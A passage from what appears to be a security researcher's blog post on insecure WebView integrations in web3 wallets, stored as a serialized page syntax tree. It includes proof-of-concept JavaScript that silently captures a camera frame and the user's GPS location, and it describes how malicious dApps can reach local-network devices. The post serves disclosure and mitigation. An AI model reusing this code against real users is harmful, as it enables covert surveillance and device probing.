});\n",{"type":26,"tag":217,"props":7680,"children":7682},{"class":7028,"line":7681},16,[7683,7687,7691,7696,7700,7704,7708,7713,7717,7722,7726,7730,7734,7739,7743,7748],{"type":26,"tag":217,"props":7684,"children":7685},{"style":7054},[7686],{"type":32,"value":7576},{"type":26,"tag":217,"props":7688,"children":7689},{"style":7149},[7690],{"type":32,"value":180},{"type":26,"tag":217,"props":7692,"children":7693},{"style":7064},[7694],{"type":32,"value":7695},"onerror",{"type":26,"tag":217,"props":7697,"children":7698},{"style":7149},[7699],{"type":32,"value":4984},{"type":26,"tag":217,"props":7701,"children":7702},{"style":7154},[7703],{"type":32,"value":7604},{"type":26,"tag":217,"props":7705,"children":7706},{"style":7149},[7707],{"type":32,"value":7051},{"type":26,"tag":217,"props":7709,"children":7710},{"style":7054},[7711],{"type":32,"value":7712},"msg",{"type":26,"tag":217,"props":7714,"children":7715},{"style":7149},[7716],{"type":32,"value":7599},{"type":26,"tag":217,"props":7718,"children":7719},{"style":7054},[7720],{"type":32,"value":7721},"url",{"type":26,"tag":217,"props":7723,"children":7724},{"style":7149},[7725],{"type":32,"value":7599},{"type":26,"tag":217,"props":7727,"children":7728},{"style":7054},[7729],{"type":32,"value":7028},{"type":26,"tag":217,"props":7731,"children":7732},{"style":7149},[7733],{"type":32,"value":7599},{"type":26,"tag":217,"props":7735,"children":7736},{"style":7054},[7737],{"type":32,"value":7738},"col",{"type":26,"tag":217,"props":7740,"children":7741},{"style":7149},[7742],{"type":32,"value":7599},{"type":26,"tag":217,"props":7744,"children":7745},{"style":7054},[7746],{"type":32,"value":7747},"error",{"type":26,"tag":217,"props":7749,"children":7750},{"style":7149},[7751],{"type":32,"value":7618},{"type":26,"tag":217,"props":7753,"children":7755},{"class":7028,"line":7754},17,[7756,7760,7764,7769,7774,7778],{"type":26,"tag":217,"props":7757,"children":7758},{"style":7064},[7759],{"type":32,"value":7627},{"type":26,"tag":217,"props":7761,"children":7762},{"style":7149},[7763],{"type":32,"value":1851},{"type":26,"tag":217,"props":7765,"children":7766},{"style":7338},[7767],{"type":32,"value":7768},"'onerror: '",{"type":26,"tag":217,"props":7770,"children":7771},{"style":7149},[7772],{"type":32,"value":7773}," + ",{"type":26,"tag":217,"props":7775,"children":7776},{"style":7054},[7777],{"type":32,"value":7712},{"type":26,"tag":217,"props":7779,"children":7780},{"style":7149},[7781],{"type":32,"value":7669},{"type":26,"tag":217,"props":7783,"children":7785},{"class":7028,"line":7784},18,[7786,7791,7796],{"type":26,"tag":217,"props":7787,"children":7788},{"style":7042},[7789],{"type":32,"value":7790},"            return",{"type":26,"tag":217,"props":7792,"children":7793},{"style":7154},[7794],{"type":32,"value":7795}," false",{"type":26,"tag":217,"props":7797,"children":7798},{"style":7149},[7799],{"type":32,"value":7162},{"type":26,"tag":217,"props":7801,"children":7803},{"class":7028,"line":7802},19,[7804],{"type":26,"tag":217,"props":7805,"children":7806},{"style":7149},[7807],{"type":32,"value":7808},"        };\n",{"type":26,"tag":217,"props":7810,"children":7812},{"class":7028,"line":7811},20,[7813],{"type":26,"tag":217,"props":7814,"children":7815},{"emptyLinePlaceholder":17},[7816],{"type":32,"value":7817},"\n",{"type":26,"tag":217,"props":7819,"children":7821},{"class":7028,"line":7820},21,[7822,7827,7832,7837],{"type":26,"tag":217,"props":7823,"children":7824},{"style":7154},[7825],{"type":32,"value":7826},"        async",{"type":26,"tag":217,"props":7828,"children":7829},{"style":7154},[7830],{"type":32,"value":7831}," function",{"type":26,"tag":217,"props":7833,"children":7834},{"style":7064},[7835],{"type":32,"value":7836}," main",{"type":26,"tag":217,"props":7838,"children":7839},{"style":7149},[7840],{"type":32,"value":7841},"() {\n",{"type":26,"tag":217,"props":7843,"children":7845},{"class":7028,"line":7844},22,[7846,7851,7856,7860,7865,7870,7874,7879,7883,7888,7893,7898,7903],{"type":26,"tag":217,"props":7847,"children":7848},{"style":7154},[7849],{"type":32,"value":7850},"            const",{"type":26,"tag":217,"props":7852,"children":7853},{"style":7054},[7854],{"type":32,"value":7855}," stream",{"type":26,"tag":217,"props":7857,"children":7858},{"style":7149},[7859],{"type":32,"value":4984},{"type":26,"tag":217,"props":7861,"children":7862},{"style":7042},[7863],{"type":32,"value":7864},"await",{"type":26,"tag":217,"props":7866,"children":7867},{"style":7054},[7868],{"type":32,"value":7869}," navigator",{"type":26,"tag":217,"props":7871,"children":7872},{"style":7149},[7873],{"type":32,"value":180},{"type":26,"tag":217,"props":7875,"children":7876},{"style":7054},[7877],{"type":32,"value":7878},"mediaDevices",{"type":26,"tag":217,"props":7880,"children":7881},{"style":7149},[7882],{"type":32,"value":180},{"type":26,"tag":217,"props":7884,"children":7885},{"style":7064},[7886],{"type":32,"value":7887},"getUserMedia",{"type":26,"tag":217,"props":7889,"children":7890},{"style":7149},[7891],{"type":32,"value":7892},"({ ",{"type":26,"tag":217,"props":7894,"children":7895},{"style":7054},[7896],{"type":32,"value":7897},"video:",{"type":26,"tag":217,"props":7899,"children":7900},{"style":7154},[7901],{"type":32,"value":7902}," true",{"type":26,"tag":217,"props":7904,"children":7905},{"style":7149},[7906],{"type":32,"value":7907}," });\n",{"type":26,"tag":217,"props":7909,"children":7911},{"class":7028,"line":7910},23,[7912,7916,7921,7925,7930,7934,7939,7943,7948],{"type":26,"tag":217,"props":7913,"children":7914},{"style":7154},[7915],{"type":32,"value":7850},{"type":26,"tag":217,"props":7917,"children":7918},{"style":7054},[7919],{"type":32,"value":7920}," video",{"type":26,"tag":217,"props":7922,"children":7923},{"style":7149},[7924],{"type":32,"value":4984},{"type":26,"tag":217,"props":7926,"children":7927},{"style":7054},[7928],{"type":32,"value":7929},"document",{"type":26,"tag":217,"props":7931,"children":7932},{"style":7149},[7933],{"type":32,"value":180},{"type":26,"tag":217,"props":7935,"children":7936},{"style":7064},[7937],{"type":32,"value":7938},"createElement",{"type":26,"tag":217,"props":7940,"children":7941},{"style":7149},[7942],{"type":32,"value":1851},{"type":26,"tag":217,"props":7944,"children":7945},{"style":7338},[7946],{"type":32,"value":7947},"\"video\"",{"type":26,"tag":217,"props":7949,"children":7950},{"style":7149},[7951],{"type":32,"value":7669},{"type":26,"tag":217,"props":7953,"children":7955},{"class":7028,"line":7954},24,[7956,7961,7965,7970,7974,7979],{"type":26,"tag":217,"props":7957,"children":7958},{"style":7054},[7959],{"type":32,"value":7960},"            video",{"type":26,"tag":217,"props":7962,"children":7963},{"style":7149},[7964],{"type":32,"value":180},{"type":26,"tag":217,"props":7966,"children":7967},{"style":7054},[7968],{"type":32,"value":7969},"srcObject",{"type":26,"tag":217,"props":7971,"children":7972},{"style":7149},[7973],{"type":32,"value":4984},{"type":26,"tag":217,"props":7975,"children":7976},{"style":7054},[7977],{"type":32,"value":7978},"stream",{"type":26,"tag":217,"props":7980,"children":7981},{"style":7149},[7982],{"type":32,"value":7162},{"type":26,"tag":217,"props":7984,"children":7986},{"class":7028,"line":7985},25,[7987,7991,7996,8000,8004,8008,8012,8016,8021],{"type":26,"tag":217,"props":7988,"children":7989},{"style":7154},[7990],{"type":32,"value":7850},{"type":26,"tag":217,"props":7992,"children":7993},{"style":7054},[7994],{"type":32,"value":7995}," canvas",{"type":26,"tag":217,"props":7997,"children":7998},{"style":7149},[7999],{"type":32,"value":4984},{"type":26,"tag":217,"props":8001,"children":8002},{"style":7054},[8003],{"type":32,"value":7929},{"type":26,"tag":217,"props":8005,"children":8006},{"style":7149},[8007],{"type":32,"value":180},{"type":26,"tag":217,"props":8009,"children":8010},{"style":7064},[8011],{"type":32,"value":7938},{"type":26,"tag":217,"props":8013,"children":8014},{"style":7149},[8015],{"type":32,"value":1851},{"type":26,"tag":217,"props":8017,"children":8018},{"style":7338},[8019],{"type":32,"value":8020},"\"canvas\"",{"type":26,"tag":217,"props":8022,"children":8023},{"style":7149},[8024],{"type":32,"value":7669},{"type":26,"tag":217,"props":8026,"children":8028},{"class":7028,"line":8027},26,[8029],{"type":26,"tag":217,"props":8030,"children":8031},{"emptyLinePlaceholder":17},[8032],{"type":32,"value":7817},{"type":26,"tag":217,"props":8034,"children":8036},{"class":7028,"line":8035},27,[8037,8041,8045,8050,8055,8060],{"type":26,"tag":217,"props":8038,"children":8039},{"style":7054},[8040],{"type":32,"value":7960},{"type":26,"tag":217,"props":8042,"children":8043},{"style":7149},[8044],{"type":32,"value":180},{"type":26,"tag":217,"props":8046,"children":8047},{"style":7064},[8048],{"type":32,"value":8049},"onloadedmetadata",{"type":26,"tag":217,"props":8051,"children":8052},{"style":7149},[8053],{"type":32,"value":8054}," = () ",{"type":26,"tag":217,"props":8056,"children":8057},{"style":7154},[8058],{"type":32,"value":8059},"=>",{"type":26,"tag":217,"props":8061,"children":8062},{"style":7149},[8063],{"type":32,"value":8064}," {\n",{"type":26,"tag":217,"props":8066,"children":8068},{"class":7028,"line":8067},28,[8069,8074,8078,8083,8087,8092,8096,8101],{"type":26,"tag":217,"props":8070,"children":8071},{"style":7054},[8072],{"type":32,"value":8073},"                canvas",{"type":26,"tag":217,"props":8075,"children":8076},{"style":7149},[8077],{"type":32,"value":180},{"type":26,"tag":217,"props":8079,"children":8080},{"style":7054},[8081],{"type":32,"value":8082},"width",{"type":26,"tag":217,"props":8084,"children":8085},{"style":7149},[8086],{"type":32,"value":4984},{"type":26,"tag":217,"props":8088,"children":8089},{"style":7054},[8090],{"type":32,"value":8091},"video",{"type":26,"tag":217,"props":8093,"children":8094},{"style":7149},[8095],{"type":32,"value":180},{"type":26,"tag":217,"props":8097,"children":8098},{"style":7054},[8099],{"type":32,"value":8100},"videoWidth",{"type":26,"tag":217,"props":8102,"children":8103},{"style":7149},[8104],{"type":32,"value":7162},{"type":26,"tag":217,"props":8106,"children":8108},{"class":7028,"line":8107},29,[8109,8113,8117,8122,8126,8130,8134,8139],{"type":26,"tag":217,"props":8110,"children":8111},{"style":7054},[8112],{"type":32,"value":8073},{"type":26,"tag":217,"props":8114,"children":8115},{"style":7149},[8116],{"type":32,"value":180},{"type":26,"tag":217,"props":8118,"children":8119},{"style":7054},[8120],{"type":32,"value":8121},"height",{"type":26,"tag":217,"props":8123,"children":8124},{"style":7149},[8125],{"type":32,"value":4984},{"type":26,"tag":217,"props":8127,"children":8128},{"style":7054},[8129],{"type":32,"value":8091},{"type":26,"tag":217,"props":8131,"children":8132},{"style":7149},[8133],{"type":32,"value":180},{"type":26,"tag":217,"props":8135,"children":8136},{"style":7054},[8137],{"type":32,"value":8138},"videoHeight",{"type":26,"tag":217,"props":8140,"children":8141},{"style":7149},[8142],{"type":32,"value":7162},{"type":26,"tag":217,"props":8144,"children":8146},{"class":7028,"line":8145},30,[8147],{"type":26,"tag":217,"props":8148,"children":8149},{"style":7149},[8150],{"type":32,"value":8151},"            };\n",{"type":26,"tag":217,"props":8153,"children":8155},{"class":7028,"line":8154},31,[8156],{"type":26,"tag":217,"props":8157,"children":8158},{"emptyLinePlaceholder":17},[8159],{"type":32,"value":7817},{"type":26,"tag":217,"props":8161,"children":8163},{"class":7028,"line":8162},32,[8164,8169,8173,8178,8182,8186,8191],{"type":26,"tag":217,"props":8165,"children":8166},{"style":7054},[8167],{"type":32,"value":8168},"            connect",{"type":26,"tag":217,"props":8170,"children":8171},{"style":7149},[8172],{"type":32,"value":180},{"type":26,"tag":217,"props":8174,"children":8175},{"style":7064},[8176],{"type":32,"value":8177},"onclick",{"type":26,"tag":217,"props":8179,"children":8180},{"style":7149},[8181],{"type":32,"value":4984},{"type":26,"tag":217,"props":8183,"children":8184},{"style":7054},[8185],{"type":32,"value":2400},{"type":26,"tag":217,"props":8187,"children":8188},{"style":7154},[8189],{"type":32,"value":8190}," =>",{"type":26,"tag":217,"props":8192,"children":8193},{"style":7149},[8194],{"type":32,"value":8064},{"type":26,"tag":217,"props":8196,"children":8198},{"class":7028,"line":8197},33,[8199,8204,8208,8213],{"type":26,"tag":217,"props":8200,"children":8201},{"style":7054},[8202],{"type":32,"value":8203},"                video",{"type":26,"tag":217,"props":8205,"children":8206},{"style":7149},[8207],{"type":32,"value":180},{"type":26,"tag":217,"props":8209,"children":8210},{"style":7064},[8211],{"type":32,"value":8212},"play",{"type":26,"tag":217,"props":8214,"children":8215},{"style":7149},[8216],{"type":32,"value":8217},"();\n",{"type":26,"tag":217,"props":8219,"children":8221},{"class":7028,"line":8220},34,[8222],{"type":26,"tag":217,"props":8223,"children":8224},{"emptyLinePlaceholder":17},[8225],{"type":32,"value":7817},{"type":26,"tag":217,"props":8227,"children":8229},{"class":7028,"line":8228},35,[8230,8234,8238,8243,8247,8252,8257,8262,8266,8270,8274,8278,8282,8286],{"type":26,"tag":217,"props":8231,"children":8232},{"style":7054},[8233],{"type":32,"value":8073},{"type":26,"tag":217,"props":8235,"children":8236},{"style":7149},[8237],{"type":32,"value":180},{"type":26,"tag":217,"props":8239,"children":8240},{"style":7064},[8241],{"type":32,"value":8242},"getContext",{"type":26,"tag":217,"props":8244,"children":8245},{"style":7149},[8246],{"type":32,"value":1851},{"type":26,"tag":217,"props":8248,"children":8249},{"style":7338},[8250],{"type":32,"value":8251},"\"2d\"",{"type":26,"tag":217,"props":8253,"children":8254},{"style":7149},[8255],{"type":32,"value":8256},").",{"type":26,"tag":217,"props":8258,"children":8259},{"style":7064},[8260],{"type":32,"value":8261},"drawImage",{"type":26,"tag":217,"props":8263,"children":8264},{"style":7149},[8265],{"type":32,"value":1851},{"type":26,"tag":217,"props":8267,"children":8268},{"style":7054},[8269],{"type":32,"value":8091},{"type":26,"tag":217,"props":8271,"children":8272},{"style":7149},[8273],{"type":32,"value":7599},{"type":26,"tag":217,"props":8275,"children":8276},{"style":7130},[8277],{"type":32,"value":1883},{"type":26,"tag":217,"props":8279,"children":8280},{"style":7149},[8281],{"type":32,"value":7599},{"type":26,"tag":217,"props":8283,"children":8284},{"style":7130},[8285],{"type":32,"value":1883},{"type":26,"tag":217,"props":8287,"children":8288},{"style":7149},[8289],{"type":32,"value":7669},{"type":26,"tag":217,"props":8291,"children":8293},{"class":7028,"line":8292},36,[8294,8299,8303,8308,8313,8318,8322,8326,8330,8335,8339,8344],{"type":26,"tag":217,"props":8295,"children":8296},{"style":7054},[8297],{"type":32,"value":8298},"                stream",{"type":26,"tag":217,"props":8300,"children":8301},{"style":7149},[8302],{"type":32,"value":180},{"type":26,"tag":217,"props":8304,"children":8305},{"style":7064},[8306],{"type":32,"value":8307},"getTracks",{"type":26,"tag":217,"props":8309,"children":8310},{"style":7149},[8311],{"type":32,"value":8312},"().",{"type":26,"tag":217,"props":8314,"children":8315},{"style":7064},[8316],{"type":32,"value":8317},"forEach",{"type":26,"tag":217,"props":8319,"children":8320},{"style":7149},[8321],{"type":32,"value":1851},{"type":26,"tag":217,"props":8323,"children":8324},{"style":7054},[8325],{"type":32,"value":2935},{"type":26,"tag":217,"props":8327,"children":8328},{"style":7154},[8329],{"type":32,"value":8190},{"type":26,"tag":217,"props":8331,"children":8332},{"style":7054},[8333],{"type":32,"value":8334}," t",{"type":26,"tag":217,"props":8336,"children":8337},{"style":7149},[8338],{"type":32,"value":180},{"type":26,"tag":217,"props":8340,"children":8341},{"style":7064},[8342],{"type":32,"value":8343},"stop",{"type":26,"tag":217,"props":8345,"children":8346},{"style":7149},[8347],{"type":32,"value":8348},"());\n",{"type":26,"tag":217,"props":8350,"children":8352},{"class":7028,"line":8351},37,[8353,8357,8361,8366,8371,8376,8381,8385],{"type":26,"tag":217,"props":8354,"children":8355},{"style":7054},[8356],{"type":32,"value":8073},{"type":26,"tag":217,"props":8358,"children":8359},{"style":7149},[8360],{"type":32,"value":180},{"type":26,"tag":217,"props":8362,"children":8363},{"style":7064},[8364],{"type":32,"value":8365},"toBlob",{"type":26,"tag":217,"props":8367,"children":8368},{"style":7149},[8369],{"type":32,"value":8370},"((",{"type":26,"tag":217,"props":8372,"children":8373},{"style":7054},[8374],{"type":32,"value":8375},"blob",{"type":26,"tag":217,"props":8377,"children":8378},{"style":7149},[8379],{"type":32,"value":8380},") ",{"type":26,"tag":217,"props":8382,"children":8383},{"style":7154},[8384],{"type":32,"value":8059},{"type":26,"tag":217,"props":8386,"children":8387},{"style":7149},[8388],{"type":32,"value":8064},{"type":26,"tag":217,"props":8390,"children":8392},{"class":7028,"line":8391},38,[8393,8398,8402,8407,8411,8416,8420,8425,8429,8433],{"type":26,"tag":217,"props":8394,"children":8395},{"style":7054},[8396],{"type":32,"value":8397},"                    pic",{"type":26,"tag":217,"props":8399,"children":8400},{"style":7149},[8401],{"type":32,"value":180},{"type":26,"tag":217,"props":8403,"children":8404},{"style":7054},[8405],{"type":32,"value":8406},"src",{"type":26,"tag":217,"props":8408,"children":8409},{"style":7149},[8410],{"type":32,"value":4984},{"type":26,"tag":217,"props":8412,"children":8413},{"style":7054},[8414],{"type":32,"value":8415},"URL",{"type":26,"tag":217,"props":8417,"children":8418},{"style":7149},[8419],{"type":32,"value":180},{"type":26,"tag":217,"props":8421,"children":8422},{"style":7064},[8423],{"type":32,"value":8424},"createObjectURL",{"type":26,"tag":217,"props":8426,"children":8427},{"style":7149},[8428],{"type":32,"value":1851},{"type":26,"tag":217,"props":8430,"children":8431},{"style":7054},[8432],{"type":32,"value":8375},{"type":26,"tag":217,"props":8434,"children":8435},{"style":7149},[8436],{"type":32,"value":7669},{"type":26,"tag":217,"props":8438,"children":8440},{"class":7028,"line":8439},39,[8441],{"type":26,"tag":217,"props":8442,"children":8443},{"style":7149},[8444],{"type":32,"value":8445},"                });\n",{"type":26,"tag":217,"props":8447,"children":8449},{"class":7028,"line":8448},40,[8450],{"type":26,"tag":217,"props":8451,"children":8452},{"emptyLinePlaceholder":17},[8453],{"type":32,"value":7817},{"type":26,"tag":217,"props":8455,"children":8457},{"class":7028,"line":8456},41,[8458,8463,8467,8472,8476,8481,8485,8490,8494],{"type":26,"tag":217,"props":8459,"children":8460},{"style":7054},[8461],{"type":32,"value":8462},"                navigator",{"type":26,"tag":217,"props":8464,"children":8465},{"style":7149},[8466],{"type":32,"value":180},{"type":26,"tag":217,"props":8468,"children":8469},{"style":7054},[8470],{"type":32,"value":8471},"geolocation",{"type":26,"tag":217,"props":8473,"children":8474},{"style":7149},[8475],{"type":32,"value":180},{"type":26,"tag":217,"props":8477,"children":8478},{"style":7064},[8479],{"type":32,"value":8480},"getCurrentPosition",{"type":26,"tag":217,"props":8482,"children":8483},{"style":7149},[8484],{"type":32,"value":1851},{"type":26,"tag":217,"props":8486,"children":8487},{"style":7054},[8488],{"type":32,"value":8489},"pos",{"type":26,"tag":217,"props":8491,"children":8492},{"style":7154},[8493],{"type":32,"value":8190},{"type":26,"tag":217,"props":8495,"children":8496},{"style":7149},[8497],{"type":32,"value":8064},{"type":26,"tag":217,"props":8499,"children":8501},{"class":7028,"line":8500},42,[8502,8507,8512,8516,8520,8524,8529],{"type":26,"tag":217,"props":8503,"children":8504},{"style":7154},[8505],{"type":32,"value":8506},"                    const",{"type":26,"tag":217,"props":8508,"children":8509},{"style":7054},[8510],{"type":32,"value":8511}," c",{"type":26,"tag":217,"props":8513,"children":8514},{"style":7149},[8515],{"type":32,"value":4984},{"type":26,"tag":217,"props":8517,"children":8518},{"style":7054},[8519],{"type":32,"value":8489},{"type":26,"tag":217,"props":8521,"children":8522},{"style":7149},[8523],{"type":32,"value":180},{"type":26,"tag":217,"props":8525,"children":8526},{"style":7054},[8527],{"type":32,"value":8528},"coords",{"type":26,"tag":217,"props":8530,"children":8531},{"style":7149},[8532],{"type":32,"value":7162},{"type":26,"tag":217,"props":8534,"children":8536},{"class":7028,"line":8535},43,[8537,8542,8546,8551,8555,8560,8564,8568,8572,8577,8581,8586,8590,8594,8598,8602,8608,8613,8617,8621,8625,8630,8634,8638,8642,8646,8650,8654,8658],{"type":26,"tag":217,"props":8538,"children":8539},{"style":7054},[8540],{"type":32,"value":8541},"                    gps",{"type":26,"tag":217,"props":8543,"children":8544},{"style":7149},[8545],{"type":32,"value":180},{"type":26,"tag":217,"props":8547,"children":8548},{"style":7054},[8549],{"type":32,"value":8550},"innerText",{"type":26,"tag":217,"props":8552,"children":8553},{"style":7149},[8554],{"type":32,"value":4984},{"type":26,"tag":217,"props":8556,"children":8557},{"style":7338},[8558],{"type":32,"value":8559},"`Lat: ",{"type":26,"tag":217,"props":8561,"children":8562},{"style":7154},[8563],{"type":32,"value":7641},{"type":26,"tag":217,"props":8565,"children":8566},{"style":7054},[8567],{"type":32,"value":2255},{"type":26,"tag":217,"props":8569,"children":8570},{"style":7149},[8571],{"type":32,"value":180},{"type":26,"tag":217,"props":8573,"children":8574},{"style":7054},[8575],{"type":32,"value":8576},"latitude",{"type":26,"tag":217,"props":8578,"children":8579},{"style":7149},[8580],{"type":32,"value":180},{"type":26,"tag":217,"props":8582,"children":8583},{"style":7064},[8584],{"type":32,"value":8585},"toFixed",{"type":26,"tag":217,"props":8587,"children":8588},{"style":7149},[8589],{"type":32,"value":1851},{"type":26,"tag":217,"props":8591,"children":8592},{"style":7130},[8593],{"type":32,"value":185},{"type":26,"tag":217,"props":8595,"children":8596},{"style":7149},[8597],{"type":32,"value":1889},{"type":26,"tag":217,"props":8599,"children":8600},{"style":7154},[8601],{"type":32,"value":7659},{"type":26,"tag":217,"props":8603,"children":8605},{"style":8604},"--shiki-default:#D7BA7D",[8606],{"type":32,"value":8607},"\\n",{"type":26,"tag":217,"props":8609,"children":8610},{"style":7338},[8611],{"type":32,"value":8612},"Lon: ",{"type":26,"tag":217,"props":8614,"children":8615},{"style":7154},[8616],{"type":32,"value":7641},{"type":26,"tag":217,"props":8618,"children":8619},{"style":7054},[8620],{"type":32,"value":2255},{"type":26,"tag":217,"props":8622,"children":8623},{"style":7149},[8624],{"type":32,"value":180},{"type":26,"tag":217,"props":8626,"children":8627},{"style":7054},[8628],{"type":32,"value":8629},"longitude",{"type":26,"tag":217,"props":8631,"children":8632},{"style":7149},[8633],{"type":32,"value":180},{"type":26,"tag":217,"props":8635,"children":8636},{"style":7064},[8637],{"type":32,"value":8585},{"type":26,"tag":217,"props":8639,"children":8640},{"style":7149},[8641],{"type":32,"value":1851},{"type":26,"tag":217,"props":8643,"children":8644},{"style":7130},[8645],{"type":32,"value":185},{"type":26,"tag":217,"props":8647,"children":8648},{"style":7149},[8649],{"type":32,"value":1889},{"type":26,"tag":217,"props":8651,"children":8652},{"style":7154},[8653],{"type":32,"value":7659},{"type":26,"tag":217,"props":8655,"children":8656},{"style":7338},[8657],{"type":32,"value":7664},{"type":26,"tag":217,"props":8659,"children":8660},{"style":7149},[8661],{"type":32,"value":7162},{"type":26,"tag":217,"props":8663,"children":8665},{"class":7028,"line":8664},44,[8666,8671,8676,8680,8685,8689,8693],{"type":26,"tag":217,"props":8667,"children":8668},{"style":7149},[8669],{"type":32,"value":8670},"                }, ",{"type":26,"tag":217,"props":8672,"children":8673},{"style":7054},[8674],{"type":32,"value":8675},"err",{"type":26,"tag":217,"props":8677,"children":8678},{"style":7154},[8679],{"type":32,"value":8190},{"type":26,"tag":217,"props":8681,"children":8682},{"style":7064},[8683],{"type":32,"value":8684}," alert",{"type":26,"tag":217,"props":8686,"children":8687},{"style":7149},[8688],{"type":32,"value":1851},{"type":26,"tag":217,"props":8690,"children":8691},{"style":7054},[8692],{"type":32,"value":8675},{"type":26,"tag":217,"props":8694,"children":8695},{"style":7149},[8696],{"type":32,"value":8697},"));\n",{"type":26,"tag":217,"props":8699,"children":8701},{"class":7028,"line":8700},45,[8702],{"type":26,"tag":217,"props":8703,"children":8704},{"style":7149},[8705],{"type":32,"value":8151},{"type":26,"tag":217,"props":8707,"children":8709},{"class":7028,"line":8708},46,[8710],{"type":26,"tag":217,"props":8711,"children":8712},{"emptyLinePlaceholder":17},[8713],{"type":32,"value":7817},{"type":26,"tag":217,"props":8715,"children":8717},{"class":7028,"line":8716},47,[8718],{"type":26,"tag":217,"props":8719,"children":8720},{"style":7149},[8721],{"type":32,"value":8722},"        }\n",{"type":26,"tag":217,"props":8724,"children":8726},{"class":7028,"line":8725},48,[8727,8732],{"type":26,"tag":217,"props":8728,"children":8729},{"style":7064},[8730],{"type":32,"value":8731},"        main",{"type":26,"tag":217,"props":8733,"children":8734},{"style":7149},[8735],{"type":32,"value":8217},{"type":26,"tag":217,"props":8737,"children":8739},{"class":7028,"line":8738},49,[8740,8745,8749],{"type":26,"tag":217,"props":8741,"children":8742},{"style":7263},[8743],{"type":32,"value":8744},"    \u003C/",{"type":26,"tag":217,"props":8746,"children":8747},{"style":7154},[8748],{"type":32,"value":7563},{"type":26,"tag":217,"props":8750,"children":8751},{"style":7263},[8752],{"type":32,"value":7281},{"type":26,"tag":217,"props":8754,"children":8756},{"class":7028,"line":8755},50,[8757,8761,8765],{"type":26,"tag":217,"props":8758,"children":8759},{"style":7263},[8760],{"type":32,"value":7378},{"type":26,"tag":217,"props":8762,"children":8763},{"style":7154},[8764],{"type":32,"value":7399},{"type":26,"tag":217,"props":8766,"children":8767},{"style":7263},[8768],{"type":32,"value":7281},{"type":26,"tag":217,"props":8770,"children":8772},{"class":7028,"line":8771},51,[8773,8777,8781],{"type":26,"tag":217,"props":8774,"children":8775},{"style":7263},[8776],{"type":32,"value":7378},{"type":26,"tag":217,"props":8778,"children":8779},{"style":7154},[8780],{"type":32,"value":7253},{"type":26,"tag":217,"props":8782,"children":8783},{"style":7263},[8784],{"type":32,"value":7281},{"type":26,"tag":631,"props":8786,"children":8788},{"id":8787},"patch",[8789],{"type":32,"value":8790},"Patch",{"type":26,"tag":39,"props":8792,"children":8793},{},[8794],{"type":32,"value":8795},"Unfortunately, there's no simple solution for fixing this vulnerability, as most libraries don't offer an easy to enable feature flag. Each wallet should be mindful of the libraries they use and subsequently manually implement measures to mitigate this.",{"type":26,"tag":39,"props":8797,"children":8798},{},[8799,8801,8808],{"type":32,"value":8800},"A good baseline for patches like this is Metamask. Their patch for React Native WebView can be found ",{"type":26,"tag":163,"props":8802,"children":8805},{"href":8803,"rel":8804},"https://github.com/MetaMask/metamask-mobile/blob/53e205520cd571e84fbb443470a6e3654650bad4/.yarn/patches/%40metamask-react-native-webview-npm-14.5.0-b34fed6d50.patch#L13",[167],[8806],{"type":32,"value":8807},"here",{"type":32,"value":180},{"type":26,"tag":6986,"props":8810,"children":8811},{"style":6988},[8812],{"type":26,"tag":6468,"props":8813,"children":8817},{"src":8814,"alt":8815,"style":8816},"/posts/insecure-webview-integrations/image2.png","Private Network Access desktop prompt","max-height:144px; width:auto; max-width:100%;",[],{"type":26,"tag":39,"props":8819,"children":8820},{},[8821],{"type":32,"value":8822},"However, even with this patch applied, the user experience is suboptimal. Since there's no cache mechanism for preserving the users' choice, various clickjacking scenarios can be instantiated for further tricking the user into a permission approval.",{"type":26,"tag":27,"props":8824,"children":8826},{"id":8825},"local-network-access",[8827],{"type":32,"value":8828},"Local Network Access",{"type":26,"tag":39,"props":8830,"children":8831},{},[8832,8834,8841,8843,8849],{"type":32,"value":8833},"Modern browsers like Chrome have introduced strict protections around access to a user's local network. When a webpage attempts to send requests to servers on the local network or any private IP range, Chrome will prompt the user for explicit permission before allowing the request to proceed. This is part of the ",{"type":26,"tag":163,"props":8835,"children":8838},{"href":8836,"rel":8837},"https://wicg.github.io/private-network-access/",[167],[8839],{"type":32,"value":8840},"Private Network Access",{"type":32,"value":8842}," specification, and the permission prompt is deliberately restricted to secure contexts (HTTPS) to prevent insecure pages from using local network access as a stepping stone to more serious attacks like remote code execution. There are numerous examples available online detailing the implications of these protections ",{"type":26,"tag":163,"props":8844,"children":8847},{"href":8845,"rel":8846},"https://x.com/taviso/status/2051310678800253318",[167],[8848],{"type":32,"value":8845},{"type":32,"value":8850},". Google's Chrome was one of the first browsers to implement this protection on their desktop application.",{"type":26,"tag":6986,"props":8852,"children":8853},{"style":6988},[8854],{"type":26,"tag":6468,"props":8855,"children":8858},{"src":8856,"alt":8815,"style":8857},"/posts/insecure-webview-integrations/image3.png","max-height:240px; width:auto; max-width:100%;",[],{"type":26,"tag":39,"props":8860,"children":8861},{},[8862],{"type":32,"value":8863},"WebViews, however, do not enforce this restriction. When a dApp is loaded inside a wallet's WebView, it can freely send requests to any host on the user's local network, including routers, NAS devices, smart home hubs, IP cameras, or any other IoT device without triggering any permission prompt whatsoever. The user has no visibility into this happening. See an example of this below.",{"type":26,"tag":8865,"props":8866,"children":8869},"zoom-image",{"src":8867,"alt":8868},"/posts/insecure-webview-integrations/image4.png","Private Network Access demo",[],{"type":26,"tag":39,"props":8871,"children":8872},{},[8873],{"type":32,"value":8874},"The consequences can increase the impact of certain issues. Local network devices are frequently unpatched, rely on default credentials, and expose administrative interfaces that were never designed to be reachable from an external webpage. An attacker-controlled dApp could:",{"type":26,"tag":2040,"props":8876,"children":8877},{},[8878,8883,8888],{"type":26,"tag":2044,"props":8879,"children":8880},{},[8881],{"type":32,"value":8882},"Exfiltrate device information from admin panels or unauthenticated API endpoints exposed by routers or IoT devices.",{"type":26,"tag":2044,"props":8884,"children":8885},{},[8886],{"type":32,"value":8887},"Perform authenticated actions against devices that rely on network-locality as their only access control (a common pattern in consumer IoT).",{"type":26,"tag":2044,"props":8889,"children":8890},{},[8891],{"type":32,"value":8892},"Exploit known CVEs in firmware by sending crafted requests to a device whose vulnerability is already public, potentially achieving remote code execution on that device.",{"type":26,"tag":39,"props":8894,"children":8895},{},[8896],{"type":32,"value":8897},"A user who has installed a reputable web3 wallet has no reason to suspect that browsing via a malicious dApp within that wallet could result in their home devices being probed.",{"type":26,"tag":27,"props":8899,"children":8901},{"id":8900},"uxss-by-code-injection",[8902],{"type":32,"value":8903},"UXSS by Code Injection",{"type":26,"tag":39,"props":8905,"children":8906},{},[8907,8909,8915],{"type":32,"value":8908},"Another sink we found in react-native-webview by just 